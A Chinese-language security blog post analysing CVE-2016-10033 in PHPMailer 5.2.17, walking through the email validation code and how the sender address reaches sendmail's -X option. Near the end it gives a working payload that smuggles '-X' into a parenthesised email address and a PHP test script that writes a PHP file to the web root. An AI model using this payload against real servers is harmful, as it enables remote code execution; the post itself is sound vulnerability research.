來源:https://blog.chaitin.cn/phpmailer-cve-2016-10033/
作者:phithon@長亭科技
對比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master

其實答案呼之欲出了——和Roundcube的RCE類似,mail函數的第五個參數,傳命令參數的地方沒有進行轉義。
回顧一下當時Roundcube的漏洞:因為mail函數最終是調用的系統的sendmail進行郵件發送,而sendmail支持-X參數,通過這個參數可以將日志寫入指定文件。可以寫文件,當然就可以寫shell,造成RCE了。 詳細分析一下,下載一份源碼,并切換到5.2.17版本:
git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17
單步調試可以發現確實和之前Roundcube出現的漏洞( http://wiki.ioin.in/search?word=roundcube )一樣,是傳給mail函數的第五個參數沒有正確過濾:

但上圖是錯的,因為這里是不支持bash的一些語法的,也就是說反引號、${IFS}都是無效的。但實際上PHPMailer在調用mailPassthru前會對email進行一定的檢測,這導致我們無法構造出像Roundcube那些可以直接寫文件的payload,檢測部分的代碼如下:
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string|callable $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
* PHPMailer::validateAddress('user@example.com', function($address) {
* return (strpos($address, '@') !== false);
* });
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
* @return boolean
* @static
* @access public
*/
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
其他的地方我就不分析了,只分析上面這個函數,這個函數有這個特點
- 默認patternselect==‘auto’,它會自動選擇一個方式對email進行檢測
- 如果php支持正則PCRE(也就是包含preg_replace函數),就用正則的方式來檢查,就是那一大串很難讀懂的正則
- 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自帶的filter來檢查email
- 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接檢查email中是否包含@
所以,根據現在的分析(注意,不是最終分析),如果想繞過這個email的檢查,目標PHP環境必須有以下兩個條件:
- PHP版本小于5.2.0
- PHP不支持正則表達式,即沒有安裝PCRE擴展(默認是安裝的)
那么如果目標PHP環境不滿足上述條件,是不是就絕對不會出現漏洞了呢?當然答案也是否定的,我提兩種可能的情況。
開發者手工指定Email檢查方法
PHPMailer是支持讓開發者手工指定Email的檢測方法的:

如果開發者編寫了上述畫框的代碼,那么這里就是存在漏洞的,因為其只檢查Email中是否包含@。
開發者指定PHPMailer::$validator = 'noregex'
我們看到validateAddress函數:
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
$patternselect默認是根據self::$validator來確定的,如果開發者指定了PHPMailer::$validator = 'noregex',也就可以繞過validateAddress函數了。
分析一下Email正則
那么,這真的是一個雞肋漏洞么?年輕人,多思考一下。
如果想把漏洞變成一個可用的好漏洞,需要去繞過Email的正則,我們來分析一下:
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
中間的分析過程我后面慢慢寫,多研究一下你會發現,在@前面,如果加上括號,將可以引入空格,我的payload如下:
aaa( -X/home/www/success.php )@qq.com
測試代碼:
<?php
require 'PHPMailer/PHPMailerAutoload.php';
function send($from) {
$mail = new PHPMailer;
$mail->setFrom($from);
$mail->addAddress('joe@example.net', 'Joe User'); // Add a recipient
$mail->isHTML(true); // Set email format to HTML
$mail->Subject = '<?php phpinfo(); ?>';
$mail->Body = 'This is the HTML message body <b>in bold!</b>';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';
if(!$mail->send()) {
echo 'Message could not be sent.';
echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent' . "\n";
}
unset($mail);
}
$address = "aaa( -X/home/www/test.php )@qq.com";
send($address);
執行:

成功寫入success.php。
利用這個payload,是無需PHP滿足什么條件的,通用寫文件Payload。
參考鏈接:
- https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
- http://pwnscriptum.com/
- https://www.exploit-db.com/exploits/40968/
- https://github.com/opsxcq/exploit-CVE-2016-10033
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/160/